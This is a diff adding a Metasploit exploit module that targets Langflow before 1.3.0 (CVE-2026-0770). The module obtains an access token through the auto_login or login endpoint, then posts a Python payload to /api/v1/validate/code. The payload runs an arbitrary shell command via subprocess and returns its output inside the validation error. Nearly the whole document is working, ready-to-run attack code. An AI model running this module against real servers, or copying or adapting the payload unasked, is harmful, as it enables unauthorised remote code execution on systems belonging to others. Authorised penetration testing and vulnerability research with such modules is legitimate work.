Langflow CVE-2026-0770 exploit module

modules/exploits/multi/http/cve_2026_0770.rb

@@ -0,0 +1,134 @@
+# frozen_string_literal: true
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'Langflow Unauthenticated RCE (validate endpoint)',
+        'Description' => %q{
+          Langflow before 1.3.0 contains an unauthenticated remote code execution
+          vulnerability in the `validate` endpoint where unsanitized values in
+          `exec_globals`/`code` allow an attacker to execute arbitrary code.
+          This module abuses the `/api/v1/auto_login` (or `/api/v1/login`) and
+          `/api/v1/validate/code` endpoints to execute commands and return the
+          output inside the validation error message.
+        },
+        'Author' => ['Diamorphine', 'bhaskarbhar'],
+        'License' => MSF_LICENSE,
+        'References' => [
+          [ 'CVE', '2026-0770' ],
+          [ 'EDB', '52597' ]
+        ],
+        'DisclosureDate' => '2026-05-23',
+        'Platform' => [ 'unix', 'linux' ],
+        'Privileged' => true,
+        'Targets' => [ [ 'Automatic', {} ] ],
+        'DefaultTarget' => 0,
+        'Notes' => {
+          'Stability' => [CRASH_SAFE],
+          'Reliability' => [REPEATABLE_SESSION],
+          'SideEffects' => [IOC_IN_LOGS]
+        }
+      )
+    )
+
+    register_options([
+      Opt::RPORT(7860),
+      OptString.new('USERNAME', [ false, 'Username for login (if auto-login disabled)' ]),
+      OptString.new('PASSWORD', [ false, 'Password for login (if auto-login disabled)' ]),
+      OptString.new('CMD', [ true, 'Command to execute', 'id' ])
+    ])
+  end
+
+  def check
+    res = send_request_cgi('method' => 'GET', 'uri' => '/')
+    if res && res.body.to_s =~ /Langflow/i
+      Exploit::CheckCode::Appears('The target is running Langflow')
+    else
+      Exploit::CheckCode::Unknown('The target did not present a Langflow banner')
+    end
+  end
+
+  def exploit
+    cmd = datastore['CMD'] || 'id'
+
+    token = obtain_token
+    fail_with(Failure::Unknown, 'Failed to obtain an access token') if token.nil?
+
+    payload = <<~PY
+      def exploit(
+          _=( lambda r: (_ for _ in ()).throw(Exception(f"{r.stdout}{r.stderr}")) )(
+              __import__('subprocess').run('#{cmd}', shell=True, capture_output=True, text=True)
+          )
+      ):
+          pass
+    PY
+
+    body = { 'code' => payload }
+
+    res = send_request_cgi(
+      'method' => 'POST',
+      'uri' => '/api/v1/validate/code',
+      'ctype' => 'application/json',
+      'data' => body.to_json,
+      'headers' => { 'Authorization' => "Bearer #{token}" }
+    )
+
+    if res && res.code == 200
+      begin
+        json = res.get_json_document
+        if json && json['function'] && json['function']['errors'] && json['function']['errors'].any?
+          err = json['function']['errors'][0]
+          print_good("Command output: #{err}")
+        else
+          print_error('No error output found — target may not be vulnerable or the response format changed')
+        end
+      rescue ::JSON::ParserError
+        print_error('Received non-JSON response from target')
+      end
+    else
+      fail_with(Failure::UnexpectedReply, 'No valid response from /api/v1/validate/code')
+    end
+  end
+
+  def obtain_token
+    # Try username/password login first if provided
+    if datastore['USERNAME'] && datastore['PASSWORD']
+      login_res = send_request_cgi(
+        'method' => 'POST',
+        'uri' => '/api/v1/login',
+        'vars_post' => {
+          'username' => datastore['USERNAME'],
+          'password' => datastore['PASSWORD']
+        }
+      )
+
+      if login_res && login_res.code == 200
+        begin
+          json = login_res.get_json_document
+          return json['access_token'] if json && json['access_token']
+        rescue ::JSON::ParserError
+          # fallthrough to try auto_login
+        end
+      end
+    end
+
+    # Try auto_login (unauthenticated) endpoint
+    auto_res = send_request_cgi('method' => 'GET', 'uri' => '/api/v1/auto_login')
+    if auto_res && auto_res.code == 200
+      begin
+        json = auto_res.get_json_document
+        return json['access_token'] if json && json['access_token']
+      rescue ::JSON::ParserError
+        return nil
+      end
+    end
+
+    nil
+  end
+end